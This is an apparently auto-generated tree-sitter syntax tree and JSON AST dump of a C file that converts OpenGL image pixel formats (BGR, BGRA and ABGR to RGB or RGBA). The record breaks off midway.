0x7)" (parenthesized_expression) "(green << 3)" (() "(" (binary_expression) "green << 3" (identifier) "green" (<<) "<<" (number_literal) "3" ()) ")" (|) "|" (parenthesized_expression) "((green & 0x1) * 0x7)" (() "(" (binary_expression) "(green & 0x1) * 0x7" (parenthesized_expression) "(green & 0x1)" (() "(" (binary_expression) "green & 0x1" (identifier) "green" (&) "&" (number_literal) "0x1" ()) ")" (*) "*" (number_literal) "0x7" ()) ")" (;) ";" (expression_statement) "blue = (spixel[0] & 0x1f) >> 0;" (assignment_expression) "blue = (spixel[0] & 0x1f) >> 0" (identifier) "blue" (=) "=" (binary_expression) "(spixel[0] & 0x1f) >> 0" (parenthesized_expression) "(spixel[0] & 0x1f)" (() "(" (binary_expression) "spixel[0] & 0x1f" (subscript_expression) "spixel[0]" (identifier) "spixel" ([) "[" (number_literal) "0" (]) "]" (&) "&" (number_literal) "0x1f" ()) ")" (>>) ">>" (number_literal) "0" (;) ";" (expression_statement) "blue = (blue << 3) | ((blue & 0x1) * 0x7);" (assignment_expression) "blue = (blue << 3) | ((blue & 0x1) * 0x7)" (identifier) "blue" (=) "=" (binary_expression) "(blue << 3) | ((blue & 0x1) * 0x7)" (parenthesized_expression) "(blue << 3)" (() "(" (binary_expression) "blue << 3" (identifier) "blue" (<<) "<<" (number_literal) "3" ()) ")" (|) "|" (parenthesized_expression) "((blue & 0x1) * 0x7)" (() "(" (binary_expression) "(blue & 0x1) * 0x7" (parenthesized_expression) "(blue & 0x1)" (() "(" (binary_expression) "blue & 0x1" (identifier) "blue" (&) "&" (number_literal) "0x1" ()) ")" (*) "*" (number_literal) "0x7" ()) ")" (;) ";" (expression_statement) "pixels[(j*w+i)*3+0] = red;" (assignment_expression) "pixels[(j*w+i)*3+0] = red" (subscript_expression) "pixels[(j*w+i)*3+0]" (identifier) "pixels" ([) "[" (binary_expression) "(j*w+i)*3+0" (binary_expression) "(j*w+i)*3" (parenthesized_expression) "(j*w+i)" (() "(" (binary_expression) "j*w+i" (binary_expression) "j*w" (identifier) "j" (*) "*" (identifier) "w" (+) "+" (identifier) "i" ()) ")" (*) "*" (number_literal) "3" (+) "+" (number_literal) "0" (]) "]" (=) "=" (identifier) "red" (;) ";" (expression_statement) "pixels[(j*w+i)*3+1] = green;" (assignment_expression) "pixels[(j*w+i)*3+1] = green" (subscript_expression) "pixels[(j*w+i)*3+1]" (identifier) "pixels" ([) "[" (binary_expression) "(j*w+i)*3+1" (binary_expression) "(j*w+i)*3" (parenthesized_expression) "(j*w+i)" (() "(" (binary_expression) "j*w+i" (binary_expression) "j*w" (identifier) "j" (*) "*" (identifier) "w" (+) "+" (identifier) "i" ()) ")" (*) "*" (number_literal) "3" (+) "+" (number_literal) "1" (]) "]" (=) "=" (identifier) "green" (;) ";" (expression_statement) "pixels[(j*w+i)*3+2] = blue;" (assignment_expression) "pixels[(j*w+i)*3+2] = blue" (subscript_expression) "pixels[(j*w+i)*3+2]" (identifier) "pixels" ([) "[" (binary_expression) "(j*w+i)*3+2" (binary_expression) "(j*w+i)*3" (parenthesized_expression) "(j*w+i)" (() "(" (binary_expression) "j*w+i" (binary_expression) "j*w" (identifier) "j" (*) "*" (identifier) "w" (+) "+" (identifier) "i" ()) ")" (*) "*" (number_literal) "3" (+) "+" (number_literal) "2" (]) "]" (=) "=" (identifier) "blue" (;) ";" (}) "}" (}) "}" (}) "}" (expression_statement) "image->type = GL_UNSIGNED_BYTE;" (assignment_expression) "image->type = GL_UNSIGNED_BYTE" (field_expression) "image->type" (identifier) "image" (->) "->" (field_identifier) "type" (=) "=" (identifier) "GL_UNSIGNED_BYTE" (;) ";" (expression_statement) "free(spixels);" (call_expression) "free(spixels)" (identifier) "free" (argument_list) "(spixels)" (() "(" (identifier) "spixels" ()) ")" (;) ";" (break_statement) "break;" (break) "break" (;) ";" (case_statement) "default:\n assert(0);\n break;" (default) "default" (:) ":" (expression_statement) "assert(0);" (call_expression) "assert(0)" (identifier) "assert" (argument_list) "(0)" (() "(" (number_literal) "0" ()) ")" (;) ";" (break_statement) "break;" (break) "break" (;) ";" (}) "}" (}) "}" (function_definition) "void\ngliConvertABGRoRGBA(gliGenericImage *image)\n{\n const int components = 4;\n GLubyte pixel[4];\n int w, h;\n GLubyte *pixels;\n int i, j, c;\n\n w = image->width;\n h = image->height;\n pixels = image->pixels;\n\n assert(image->format == GL_ABGR_EXT);\n image->format = GL_RGBA;\n\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }\n pixels[(j*w+i)*components+0] = pixel[3];\n pixels[(j*w+i)*components+1] = pixel[2];\n pixels[(j*w+i)*components+2] = pixel[1];\n pixels[(j*w+i)*components+3] = pixel[0];\n }\n }\n}" (primitive_type) "void" (function_declarator) "gliConvertABGRoRGBA(gliGenericImage *image)" (identifier) "gliConvertABGRoRGBA" (parameter_list) "(gliGenericImage *image)" (() "(" (parameter_declaration) "gliGenericImage *image" (type_identifier) "gliGenericImage" (pointer_declarator) "*image" (*) "*" (identifier) "image" ()) ")" (compound_statement) "{\n const int components = 4;\n GLubyte pixel[4];\n int w, h;\n GLubyte *pixels;\n int i, j, c;\n\n w = image->width;\n h = image->height;\n pixels = image->pixels;\n\n assert(image->format == GL_ABGR_EXT);\n image->format = GL_RGBA;\n\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }\n pixels[(j*w+i)*components+0] = pixel[3];\n pixels[(j*w+i)*components+1] = pixel[2];\n pixels[(j*w+i)*components+2] = pixel[1];\n pixels[(j*w+i)*components+3] = pixel[0];\n }\n }\n}" ({) "{" (declaration) "const int components = 4;" (type_qualifier) "const" (const) "const" (primitive_type) "int" (init_declarator) "components = 4" (identifier) "components" (=) "=" (number_literal) "4" (;) ";" (declaration) "GLubyte pixel[4];" (type_identifier) "GLubyte" (array_declarator) "pixel[4]" (identifier) "pixel" ([) "[" (number_literal) "4" (]) "]" (;) ";" (declaration) "int w, h;" (primitive_type) "int" (identifier) "w" (,) "," (identifier) "h" (;) ";" (declaration) "GLubyte *pixels;" (type_identifier) "GLubyte" (pointer_declarator) "*pixels" (*) "*" (identifier) "pixels" (;) ";" (declaration) "int i, j, c;" (primitive_type) "int" (identifier) "i" (,) "," (identifier) "j" (,) "," (identifier) "c" (;) ";" (expression_statement) "w = image->width;" (assignment_expression) "w = image->width" (identifier) "w" (=) "=" (field_expression) "image->width" (identifier) "image" (->) "->" (field_identifier) "width" (;) ";" (expression_statement) "h = image->height;" (assignment_expression) "h = image->height" (identifier) "h" (=) "=" (field_expression) "image->height" (identifier) "image" (->) "->" (field_identifier) "height" (;) ";" (expression_statement) "pixels = image->pixels;" (assignment_expression) "pixels = image->pixels" (identifier) "pixels" (=) "=" (field_expression) "image->pixels" (identifier) "image" (->) "->" (field_identifier) "pixels" (;) ";" (expression_statement) "assert(image->format == GL_ABGR_EXT);" (call_expression) "assert(image->format == GL_ABGR_EXT)" (identifier) "assert" (argument_list) "(image->format == GL_ABGR_EXT)" (() "(" (binary_expression) "image->format == GL_ABGR_EXT" (field_expression) "image->format" (identifier) "image" (->) "->" (field_identifier) "format" (==) "==" (identifier) "GL_ABGR_EXT" ()) ")" (;) ";" (expression_statement) "image->format = GL_RGBA;" (assignment_expression) "image->format = GL_RGBA" (field_expression) "image->format" (identifier) "image" (->) "->" (field_identifier) "format" (=) "=" (identifier) "GL_RGBA" (;) ";" (for_statement) "for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }\n pixels[(j*w+i)*components+0] = pixel[3];\n pixels[(j*w+i)*components+1] = pixel[2];\n pixels[(j*w+i)*components+2] = pixel[1];\n pixels[(j*w+i)*components+3] = pixel[0];\n }\n }" (for) "for" (() "(" (assignment_expression) "j=0" (identifier) "j" (=) "=" (number_literal) "0" (;) ";" (binary_expression) "j<h" (identifier) "j" (<) "<" (identifier) "h" (;) ";" (update_expression) "j++" (identifier) "j" (++) "++" ()) ")" (compound_statement) "{\n for (i=0; i<w; i++) {\n for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }\n pixels[(j*w+i)*components+0] = pixel[3];\n pixels[(j*w+i)*components+1] = pixel[2];\n pixels[(j*w+i)*components+2] = pixel[1];\n pixels[(j*w+i)*components+3] = pixel[0];\n }\n }" ({) "{" (for_statement) "for (i=0; i<w; i++) {\n for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }\n pixels[(j*w+i)*components+0] = pixel[3];\n pixels[(j*w+i)*components+1] = pixel[2];\n pixels[(j*w+i)*components+2] = pixel[1];\n pixels[(j*w+i)*components+3] = pixel[0];\n }" (for) "for" (() "(" (assignment_expression) "i=0" (identifier) "i" (=) "=" (number_literal) "0" (;) ";" (binary_expression) "i<w" (identifier) "i" (<) "<" (identifier) "w" (;) ";" (update_expression) "i++" (identifier) "i" (++) "++" ()) ")" (compound_statement) "{\n for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }\n pixels[(j*w+i)*components+0] = pixel[3];\n pixels[(j*w+i)*components+1] = pixel[2];\n pixels[(j*w+i)*components+2] = pixel[1];\n pixels[(j*w+i)*components+3] = pixel[0];\n }" ({) "{" (for_statement) "for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }" (for) "for" (() "(" (assignment_expression) "c=0" (identifier) "c" (=) "=" (number_literal) "0" (;) ";" (binary_expression) "c<components" (identifier) "c" (<) "<" (identifier) "components" (;) ";" (update_expression) "c++" (identifier) "c" (++) "++" ()) ")" (compound_statement) "{\n pixel[c] = pixels[(j*w+i)*components+c];\n }" ({) "{" (expression_statement) "pixel[c] = pixels[(j*w+i)*components+c];" (assignment_expression) "pixel[c] = pixels[(j*w+i)*components+c]" (subscript_expression) "pixel[c]" (identifier) "pixel" ([) "[" (identifier) "c" (]) "]" (=) "=" (subscript_expression) "pixels[(j*w+i)*components+c]" (identifier) "pixels" ([) "[" (binary_expression) "(j*w+i)*components+c" (binary_expression) "(j*w+i)*components" (parenthesized_expression) "(j*w+i)" (() "(" (binary_expression) "j*w+i" (binary_expression) "j*w" (identifier) "j" (*) "*" (identifier) "w" (+) "+" (identifier) "i" ()) ")" (*) "*" (identifier) "components" (+) "+" (identifier) "c" (]) "]" (;) ";" (}) "}" (expression_statement) "pixels[(j*w+i)*components+0] = pixel[3];" (assignment_expression) "pixels[(j*w+i)*components+0] = pixel[3]" (subscript_expression) "pixels[(j*w+i)*components+0]" (identifier) "pixels" ([) "[" (binary_expression) "(j*w+i)*components+0" (binary_expression) "(j*w+i)*components" (parenthesized_expression) "(j*w+i)" (() "(" (binary_expression) "j*w+i" (binary_expression) "j*w" (identifier) "j" (*) "*" (identifier) "w" (+) "+" (identifier) "i" ()) ")" (*) "*" (identifier) "components" (+) "+" (number_literal) "0" (]) "]" (=) "=" (subscript_expression) "pixel[3]" (identifier) "pixel" ([) "[" (number_literal) "3" (]) "]" (;) ";" (expression_statement) "pixels[(j*w+i)*components+1] = pixel[2];" (assignment_expression) "pixels[(j*w+i)*components+1] = pixel[2]" (subscript_expression) "pixels[(j*w+i)*components+1]" (identifier) "pixels" ([) "[" (binary_expression) "(j*w+i)*components+1" (binary_expression) "(j*w+i)*components" (parenthesized_expression) "(j*w+i)" (() "(" (binary_expression) "j*w+i" (binary_expression) "j*w" (identifier) "j" (*) "*" (identifier) "w" (+) "+" (identifier) "i" ()) ")" (*) "*" (identifier) "components" (+) "+" (number_literal) "1" (]) "]" (=) "=" (subscript_expression) "pixel[2]" (identifier) "pixel" ([) "[" (number_literal) "2" (]) "]" (;) ";" (expression_statement) "pixels[(j*w+i)*components+2] = pixel[1];" (assignment_expression) "pixels[(j*w+i)*components+2] = pixel[1]" (subscript_expression) "pixels[(j*w+i)*components+2]" (identifier) "pixels" ([) "[" (binary_expression) "(j*w+i)*components+2" (binary_expression) "(j*w+i)*components" (parenthesized_expression) "(j*w+i)" (() "(" (binary_expression) "j*w+i" (binary_expression) "j*w" (identifier) "j" (*) "*" (identifier) "w" (+) "+" (identifier) "i" ()) ")" (*) "*" (identifier) "components" (+) "+" (number_literal) "2" (]) "]" (=) "=" (subscript_expression) "pixel[1]" (identifier) "pixel" ([) "[" (number_literal) "1" (]) "]" (;) ";" (expression_statement) "pixels[(j*w+i)*components+3] = pixel[0];" (assignment_expression) "pixels[(j*w+i)*components+3] = pixel[0]" (subscript_expression) "pixels[(j*w+i)*components+3]" (identifier) "pixels" ([) "[" (binary_expression) "(j*w+i)*components+3" (binary_expression) "(j*w+i)*components" (parenthesized_expression) "(j*w+i)" (() "(" (binary_expression) "j*w+i" (binary_expression) "j*w" (identifier) "j" (*) "*" (identifier) "w" (+) "+" (identifier) "i" ()) ")" (*) "*" (identifier) "components" (+) "+" (number_literal) "3" (]) "]" (=) "=" (subscript_expression) "pixel[0]" (identifier) "pixel" ([) "[" (number_literal) "0" (]) "]" (;) ";" (}) "}" (}) "}" (}) "}" (function_definition) "void\ngliConvertImageToCoreFormat(gliGenericImage *image)\n{\n switch (image->format) {\n case GL_BGR_EXT:\n gliConvertBGRtoRGB(image);\n break;\n case GL_BGRA_EXT:\n gliConvertBGRAtoRGBA(image);\n break;\n case GL_ABGR_EXT:\n gliConvertABGRoRGBA(image);\n break;\n default:\n /* Assume nothing needed. */\n break;\n }\n}" (primitive_type) "void" (function_declarator) "gliConvertImageToCoreFormat(gliGenericImage *image)" (identifier) "gliConvertImageToCoreFormat" (parameter_list) "(gliGenericImage *image)" (() "(" (parameter_declaration) "gliGenericImage *image" (type_identifier) "gliGenericImage" (pointer_declarator) "*image" (*) "*" (identifier) "image" ()) ")" (compound_statement) "{\n switch (image->format) {\n case GL_BGR_EXT:\n gliConvertBGRtoRGB(image);\n break;\n case GL_BGRA_EXT:\n gliConvertBGRAtoRGBA(image);\n break;\n case GL_ABGR_EXT:\n gliConvertABGRoRGBA(image);\n break;\n default:\n /* Assume nothing needed. */\n break;\n }\n}" ({) "{" (switch_statement) "switch (image->format) {\n case GL_BGR_EXT:\n gliConvertBGRtoRGB(image);\n break;\n case GL_BGRA_EXT:\n gliConvertBGRAtoRGBA(image);\n break;\n case GL_ABGR_EXT:\n gliConvertABGRoRGBA(image);\n break;\n default:\n /* Assume nothing needed. */\n break;\n }" (switch) "switch" (parenthesized_expression) "(image->format)" (() "(" (field_expression) "image->format" (identifier) "image" (->) "->" (field_identifier) "format" ()) ")" (compound_statement) "{\n case GL_BGR_EXT:\n gliConvertBGRtoRGB(image);\n break;\n case GL_BGRA_EXT:\n gliConvertBGRAtoRGBA(image);\n break;\n case GL_ABGR_EXT:\n gliConvertABGRoRGBA(image);\n break;\n default:\n /* Assume nothing needed. */\n break;\n }" ({) "{" (case_statement) "case GL_BGR_EXT:\n gliConvertBGRtoRGB(image);\n break;" (case) "case" (identifier) "GL_BGR_EXT" (:) ":" (expression_statement) "gliConvertBGRtoRGB(image);" (call_expression) "gliConvertBGRtoRGB(image)" (identifier) "gliConvertBGRtoRGB" (argument_list) "(image)" (() "(" (identifier) "image" ()) ")" (;) ";" (break_statement) "break;" (break) "break" (;) ";" (case_statement) "case GL_BGRA_EXT:\n gliConvertBGRAtoRGBA(image);\n break;" (case) "case" (identifier) "GL_BGRA_EXT" (:) ":" (expression_statement) "gliConvertBGRAtoRGBA(image);" (call_expression) "gliConvertBGRAtoRGBA(image)" (identifier) "gliConvertBGRAtoRGBA" (argument_list) "(image)" (() "(" (identifier) "image" ()) ")" (;) ";" (break_statement) "break;" (break) "break" (;) ";" (case_statement) "case GL_ABGR_EXT:\n gliConvertABGRoRGBA(image);\n break;" (case) "case" (identifier) "GL_ABGR_EXT" (:) ":" (expression_statement) "gliConvertABGRoRGBA(image);" (call_expression) "gliConvertABGRoRGBA(image)" (identifier) "gliConvertABGRoRGBA" (argument_list) "(image)" (() "(" (identifier) "image" ()) ")" (;) ";" (break_statement) "break;" (break) "break" (;) ";" (case_statement) "default:\n /* Assume nothing needed. */\n break;" (default) "default" (:) ":" (comment) "/* Assume nothing needed. */" (break_statement) "break;" (break) "break" (;) ";" (}) "}" (}) "}"
1,926
0
{"language": "c", "success": true, "metadata": {"lines": 162, "avg_line_length": 26.59, "nodes": 1285, "errors": 0, "source_hash": "e04a61e518d93cf61e2f8d20ae66dc657a88d33d09174093b93320c26155beaa", "categorized_nodes": 977}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#include <assert.h>\n", "parent": null, "children": [1, 2], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 9, "column": 0}}, {"id": 1, "type": "#include", "text": "#include", "parent": 0, "children": [], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 8}}, {"id": 2, "type": "system_lib_string", "text": "<assert.h>", "parent": 0, "children": [], "start_point": {"row": 8, "column": 9}, "end_point": {"row": 8, "column": 19}}, {"id": 3, "type": "preproc_include", "text": "#include <stdlib.h>\n", "parent": null, "children": [4, 5], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 10, "column": 0}}, {"id": 4, "type": "#include", "text": "#include", "parent": 3, "children": [], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 9, "column": 8}}, {"id": 5, "type": "system_lib_string", "text": "<stdlib.h>", "parent": 3, "children": [], "start_point": {"row": 9, "column": 9}, "end_point": {"row": 9, "column": 19}}, {"id": 6, "type": "preproc_include", "text": "#include \"gli.h\"\n", "parent": null, "children": [7, 8], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 12, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 11, "column": 8}}, {"id": 8, "type": "string_literal", "text": "\"gli.h\"", "parent": 6, "children": [], "start_point": {"row": 11, "column": 9}, "end_point": {"row": 11, "column": 16}}, {"id": 9, "type": "function_definition", "text": "void\ngliConvertBGRtoRGB(gliGenericImage *image)\n{\n const int components = 3;\n GLubyte pixel[3];\n int w, h;\n GLubyte *pixels;\n int i, j, c;\n \n w = image->width;\n h = image->height;\n \n assert(image->format == GL_BGR_EXT);\n image->format = GL_RGB;\n \n pixels = image->pixels;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }\n pixels[(j*w+i)*components+0] = pixel[2];\n pixels[(j*w+i)*components+1] = pixel[1];\n pixels[(j*w+i)*components+2] = pixel[0];\n }\n }\n}", "parent": null, "children": [10, 11], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 39, "column": 1}}, {"id": 10, "type": "primitive_type", "text": "void", "parent": 9, "children": [], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 13, "column": 4}}, {"id": 11, "type": "function_declarator", "text": "gliConvertBGRtoRGB(gliGenericImage *image)", "parent": 9, "children": [12, 13], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 14, "column": 42}}, {"id": 12, "type": "identifier", "text": "gliConvertBGRtoRGB", "parent": 11, "children": [], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 14, "column": 18}}, {"id": 13, "type": "parameter_list", "text": "(gliGenericImage *image)", "parent": 11, "children": [14], "start_point": {"row": 14, "column": 18}, "end_point": {"row": 14, "column": 42}}, {"id": 14, "type": "parameter_declaration", "text": "gliGenericImage *image", "parent": 13, "children": [15, 16], "start_point": {"row": 14, "column": 19}, "end_point": {"row": 14, "column": 41}}, {"id": 15, "type": "type_identifier", "text": "gliGenericImage", "parent": 14, "children": [], "start_point": {"row": 14, "column": 19}, "end_point": {"row": 14, "column": 34}}, {"id": 16, "type": "pointer_declarator", "text": "*image", "parent": 14, "children": [17, 18], "start_point": {"row": 14, "column": 35}, "end_point": {"row": 14, "column": 41}}, {"id": 17, "type": "*", "text": "*", "parent": 16, "children": [], "start_point": {"row": 14, "column": 35}, "end_point": {"row": 14, "column": 36}}, {"id": 18, "type": "identifier", "text": "image", "parent": 16, "children": [], "start_point": {"row": 14, "column": 36}, "end_point": {"row": 14, "column": 41}}, {"id": 19, "type": "declaration", "text": "const int components = 3;", "parent": 9, "children": [20, 21], "start_point": {"row": 16, "column": 2}, "end_point": {"row": 16, "column": 27}}, {"id": 20, "type": "primitive_type", "text": "int", "parent": 19, "children": [], "start_point": {"row": 16, "column": 8}, "end_point": {"row": 16, "column": 11}}, {"id": 21, "type": "init_declarator", "text": "components = 3", "parent": 19, "children": [22, 23, 24], "start_point": {"row": 16, "column": 12}, "end_point": {"row": 16, "column": 26}}, {"id": 22, "type": "identifier", "text": "components", "parent": 21, "children": [], "start_point": {"row": 16, "column": 12}, "end_point": {"row": 16, "column": 22}}, {"id": 23, "type": "=", "text": "=", "parent": 21, "children": [], "start_point": {"row": 16, "column": 23}, "end_point": {"row": 16, "column": 24}}, {"id": 24, "type": "number_literal", "text": "3", "parent": 21, "children": [], "start_point": {"row": 16, "column": 25}, "end_point": {"row": 16, "column": 26}}, {"id": 25, "type": "declaration", "text": "GLubyte pixel[3];", "parent": 9, "children": [26, 27], "start_point": {"row": 17, "column": 2}, "end_point": {"row": 17, "column": 19}}, {"id": 26, "type": "type_identifier", "text": "GLubyte", "parent": 25, "children": [], "start_point": {"row": 17, "column": 2}, "end_point": {"row": 17, "column": 9}}, {"id": 27, "type": "array_declarator", "text": "pixel[3]", "parent": 25, "children": [28, 29], "start_point": {"row": 17, "column": 10}, "end_point": {"row": 17, "column": 18}}, {"id": 28, "type": "identifier", "text": "pixel", "parent": 27, "children": [], "start_point": {"row": 17, "column": 10}, "end_point": {"row": 17, "column": 15}}, {"id": 29, "type": "number_literal", "text": "3", "parent": 27, "children": [], "start_point": {"row": 17, "column": 16}, "end_point": {"row": 17, "column": 17}}, {"id": 30, "type": "declaration", "text": "int w, h;", "parent": 9, "children": [31, 32, 33], "start_point": {"row": 18, "column": 2}, "end_point": {"row": 18, "column": 11}}, {"id": 31, "type": "primitive_type", "text": "int", "parent": 30, "children": [], "start_point": {"row": 18, "column": 2}, "end_point": {"row": 18, "column": 5}}, {"id": 32, "type": "identifier", "text": "w", "parent": 30, "children": [], "start_point": {"row": 18, "column": 6}, "end_point": {"row": 18, "column": 7}}, {"id": 33, "type": "identifier", "text": "h", "parent": 30, "children": [], "start_point": {"row": 18, "column": 9}, "end_point": {"row": 18, "column": 10}}, {"id": 34, "type": "declaration", "text": "GLubyte *pixels;", "parent": 9, "children": [35, 36], "start_point": {"row": 19, "column": 2}, "end_point": {"row": 19, "column": 18}}, {"id": 35, "type": "type_identifier", "text": "GLubyte", "parent": 34, "children": [], "start_point": {"row": 19, "column": 2}, "end_point": {"row": 19, "column": 9}}, {"id": 36, "type": "pointer_declarator", "text": "*pixels", "parent": 34, "children": [37, 38], "start_point": {"row": 19, "column": 10}, "end_point": {"row": 19, "column": 17}}, {"id": 37, "type": "*", "text": "*", "parent": 36, "children": [], "start_point": {"row": 19, "column": 10}, "end_point": {"row": 19, "column": 11}}, {"id": 38, "type": "identifier", "text": "pixels", "parent": 36, "children": [], "start_point": {"row": 19, "column": 11}, "end_point": {"row": 19, "column": 17}}, {"id": 39, "type": "declaration", "text": "int i, j, c;", "parent": 9, "children": [40, 41, 42, 43], "start_point": {"row": 20, "column": 2}, "end_point": {"row": 20, "column": 14}}, {"id": 40, "type": "primitive_type", "text": "int", "parent": 39, "children": [], "start_point": {"row": 20, "column": 2}, "end_point": {"row": 20, "column": 5}}, {"id": 41, "type": "identifier", "text": "i", "parent": 39, "children": [], "start_point": {"row": 20, "column": 6}, "end_point": {"row": 20, "column": 7}}, {"id": 42, "type": "identifier", "text": "j", "parent": 39, "children": [], "start_point": {"row": 20, "column": 9}, "end_point": {"row": 20, "column": 10}}, {"id": 43, "type": "identifier", "text": "c", "parent": 39, "children": [], "start_point": {"row": 20, "column": 12}, "end_point": {"row": 20, "column": 13}}, {"id": 44, "type": "assignment_expression", "text": "w = image->width", "parent": 9, "children": [45, 46, 47], "start_point": {"row": 22, "column": 2}, "end_point": {"row": 22, "column": 18}}, {"id": 45, "type": "identifier", "text": "w", "parent": 44, "children": [], "start_point": {"row": 22, "column": 2}, "end_point": {"row": 22, "column": 3}}, {"id": 46, "type": "=", "text": "=", "parent": 44, "children": [], "start_point": {"row": 22, "column": 4}, "end_point": {"row": 22, "column": 5}}, {"id": 47, "type": "field_expression", "text": "image->width", "parent": 44, "children": [48, 49], "start_point": {"row": 22, "column": 6}, "end_point": {"row": 22, "column": 18}}, {"id": 48, "type": "identifier", "text": "image", "parent": 47, "children": [], "start_point": {"row": 22, "column": 6}, "end_point": {"row": 22, "column": 11}}, {"id": 49, "type": "field_identifier", "text": "width", "parent": 47, "children": [], "start_point": {"row": 22, "column": 13}, "end_point": {"row": 22, "column": 18}}, {"id": 50, "type": "assignment_expression", "text": "h = image->height", "parent": 9, "children": [51, 52, 53], "start_point": {"row": 23, "column": 2}, "end_point": {"row": 23, "column": 19}}, {"id": 51, "type": "identifier", "text": "h", "parent": 50, "children": [], "start_point": {"row": 23, "column": 2}, "end_point": {"row": 23, "column": 3}}, {"id": 52, "type": "=", "text": "=", "parent": 50, "children": [], "start_point": {"row": 23, "column": 4}, "end_point": {"row": 23, "column": 5}}, {"id": 53, "type": "field_expression", "text": "image->height", "parent": 50, "children": [54, 55], "start_point": {"row": 23, "column": 6}, "end_point": {"row": 23, "column": 19}}, {"id": 54, "type": "identifier", "text": "image", "parent": 53, "children": [], "start_point": {"row": 23, "column": 6}, "end_point": {"row": 23, "column": 11}}, {"id": 55, "type": "field_identifier", "text": "height", "parent": 53, "children": [], "start_point": {"row": 23, "column": 13}, "end_point": {"row": 23, "column": 19}}, {"id": 56, "type": "call_expression", "text": "assert(image->format == GL_BGR_EXT)", "parent": 9, "children": [57, 58], "start_point": {"row": 25, "column": 2}, "end_point": {"row": 25, "column": 37}}, {"id": 57, "type": "identifier", "text": "assert", "parent": 56, "children": [], "start_point": {"row": 25, "column": 2}, "end_point": {"row": 25, "column": 8}}, {"id": 58, "type": "argument_list", "text": "(image->format == GL_BGR_EXT)", "parent": 56, "children": [59], "start_point": {"row": 25, "column": 8}, "end_point": {"row": 25, "column": 37}}, {"id": 59, "type": "binary_expression", "text": "image->format == GL_BGR_EXT", "parent": 58, "children": [60, 63, 64], "start_point": {"row": 25, "column": 9}, "end_point": {"row": 25, "column": 36}}, {"id": 60, "type": "field_expression", "text": "image->format", "parent": 59, "children": [61, 62], "start_point": {"row": 25, "column": 9}, "end_point": {"row": 25, "column": 22}}, {"id": 61, "type": "identifier", "text": "image", "parent": 60, "children": [], "start_point": {"row": 25, "column": 9}, "end_point": {"row": 25, "column": 14}}, {"id": 62, "type": "field_identifier", "text": "format", "parent": 60, "children": [], "start_point": {"row": 25, "column": 16}, "end_point": {"row": 25, "column": 22}}, {"id": 63, "type": "==", "text": "==", "parent": 59, "children": [], "start_point": {"row": 25, "column": 23}, "end_point": {"row": 25, "column": 25}}, {"id": 64, "type": "identifier", "text": "GL_BGR_EXT", "parent": 59, "children": [], "start_point": {"row": 25, "column": 26}, "end_point": {"row": 25, "column": 36}}, {"id": 65, "type": "assignment_expression", "text": "image->format = GL_RGB", "parent": 9, "children": [66, 69, 70], "start_point": {"row": 26, "column": 2}, "end_point": {"row": 26, "column": 24}}, {"id": 66, "type": "field_expression", "text": "image->format", "parent": 65, "children": [67, 68], "start_point": {"row": 26, "column": 2}, "end_point": {"row": 26, "column": 15}}, {"id": 67, "type": "identifier", "text": "image", "parent": 66, "children": [], "start_point": {"row": 26, "column": 2}, "end_point": {"row": 26, "column": 7}}, {"id": 68, "type": "field_identifier", "text": "format", "parent": 66, "children": [], "start_point": {"row": 26, "column": 9}, "end_point": {"row": 26, "column": 15}}, {"id": 69, "type": "=", "text": "=", "parent": 65, "children": [], "start_point": {"row": 26, "column": 16}, "end_point": {"row": 26, "column": 17}}, {"id": 70, "type": "identifier", "text": "GL_RGB", "parent": 65, "children": [], "start_point": {"row": 26, "column": 18}, "end_point": {"row": 26, "column": 24}}, {"id": 71, "type": "assignment_expression", "text": "pixels = image->pixels", "parent": 9, "children": [72, 73, 74], "start_point": {"row": 28, "column": 2}, "end_point": {"row": 28, "column": 24}}, {"id": 72, "type": "identifier", "text": "pixels", "parent": 71, "children": [], "start_point": {"row": 28, "column": 2}, "end_point": {"row": 28, "column": 8}}, {"id": 73, "type": "=", "text": "=", "parent": 71, "children": [], "start_point": {"row": 28, "column": 9}, "end_point": {"row": 28, "column": 10}}, {"id": 74, "type": "field_expression", "text": "image->pixels", "parent": 71, "children": [75, 76], "start_point": {"row": 28, "column": 11}, "end_point": {"row": 28, "column": 24}}, {"id": 75, "type": "identifier", "text": "image", "parent": 74, "children": [], "start_point": {"row": 28, "column": 11}, "end_point": {"row": 28, "column": 16}}, {"id": 76, "type": "field_identifier", "text": "pixels", "parent": 74, "children": [], "start_point": {"row": 28, "column": 18}, "end_point": {"row": 28, "column": 24}}, {"id": 77, "type": "for_statement", "text": "for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }\n pixels[(j*w+i)*components+0] = pixel[2];\n pixels[(j*w+i)*components+1] = pixel[1];\n pixels[(j*w+i)*components+2] = pixel[0];\n }\n }", "parent": 9, "children": [78, 82, 86], "start_point": {"row": 29, "column": 2}, "end_point": {"row": 38, "column": 3}}, {"id": 78, "type": "assignment_expression", "text": "j=0", "parent": 77, "children": [79, 80, 81], "start_point": {"row": 29, "column": 7}, "end_point": {"row": 